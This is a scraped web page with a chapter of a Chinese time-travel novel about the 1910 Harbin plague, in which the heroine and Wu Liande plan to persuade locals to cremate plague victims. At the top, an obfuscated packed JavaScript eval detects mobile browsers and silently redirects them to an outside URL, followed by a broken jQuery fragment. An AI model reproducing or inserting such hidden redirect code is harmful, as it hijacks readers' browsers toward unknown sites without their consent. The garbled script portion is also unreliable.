;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427464|184848||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
哈尔滨情况不一样,说起来是沙俄主导,其他国家早就有不满,特别是日本——
明明日本离东北也很近,明明日俄战争的时候日本是战胜国,凭什么就是沙俄管哈尔滨,他们早就一肚子不满。
要不是实在打不起了,他们早就爆锤沙俄,将战线一路平推到圣彼得堡!
这会儿沙俄与日本处于一种微妙的平衡之中,沙俄自己国内一堆屁事,矛盾那么大,他们也打不动了,只想太太平平的在中国赚钱,并不想跟日本人在哈尔滨再来一个日俄战争2.0版。
金显珏早就摸清了两国之间的恩怨,才敢如此装神弄鬼,为自己争取时间。
沙俄医生悻悻:“好,我就等着看你能拿出什么结果!”
·
·
开完会,金显珏都有些累了,为了减少需要隔离的人数,她都没有带什么仆从,只有一个车夫。
她正准备回去,伍连德叫住了她,非常不好意思地问:“Miss king,能不能麻烦你送我去停尸场一趟?”
“现在?”金显珏看了看天色,铅云沉沉,看起来又要下雪了。
伍连德点点头:“严防死守这么长时间,感染的人数不减反增,我怀疑尸体上依旧有病菌,沾在祭拜他们的亲人身上被带回家。”
“嗯。”金显珏点点头。
少奶奶同意了,车夫不同意,他是来打工的,不是来送死的。
停尸场!
现在病死的人都堆在那里!
就算少奶奶是天家后裔,福泽深厚不怕晦气,那也该怕病菌吧……少奶奶不怕,他还怕咧。
他哼哼唧唧,找了诸多借口,又是马上要下雪,一会儿回去地上都是冰不好走,又是少奶奶大贵之人,怎么能去那种地方,要是让太太知道了,肯定会担心。
金显珏不跟他多说什么,转头看向伍连德:“伍大人会赶马车吗?或者能找到会赶马车的人吗?”
会赶马车的人有的是,只要肯给重赏,必然能找到勇夫。
“Miss king,你先回家吧,用完马车以后,我把马车送回苏宅。”伍连德说。
金显珏摇摇头:“我也得一起去看看。”
她知道,伍连德一定会发现鼠疫杆菌可以在尸体里活很久,唯一的解决方案是烧尸。
看看苏家人对烧苏老爷尸体的态度就知道,伍连德的梦想没这么容易实现。
在历史上,他劝了百姓,百姓不听,讲道理根本就不听,还有人放话:人都死了,你还要烧他,是想让他做鬼了都不安宁吗?
什么细菌、什么传染,听不懂!
看不见的东西,凭什么要我们信。
伍连德也不能激化矛盾说难道你能看见鬼?怎么就知道他不安宁了。
劝百姓不听,他只能去求滨州关道税官,然而税官只管收税哪有这个权力,根本不敢答应。
折腾了很久很久,一路求到摄政王那里,靠着日俄两国派兵入侵的压力,伍连德才求到了一道圣旨,总算把染病而死的尸体烧了。
多拖一天,就等于多一天的传染源。
金显珏希望早点处理这事,所以,她想去现场看看具体情况,找找百姓可能主动同意烧尸体的可能性。
做野外生存主播的时候,为了节目效果,没事她也得给整出点事出来,不然哪来的播放量,哪来的打赏。
早期为了省钱,根本没团队,“神迹”全是她自己一个人做的,她相信,她能忽悠得了21世纪的观众,也能忽悠得了1910年的观众。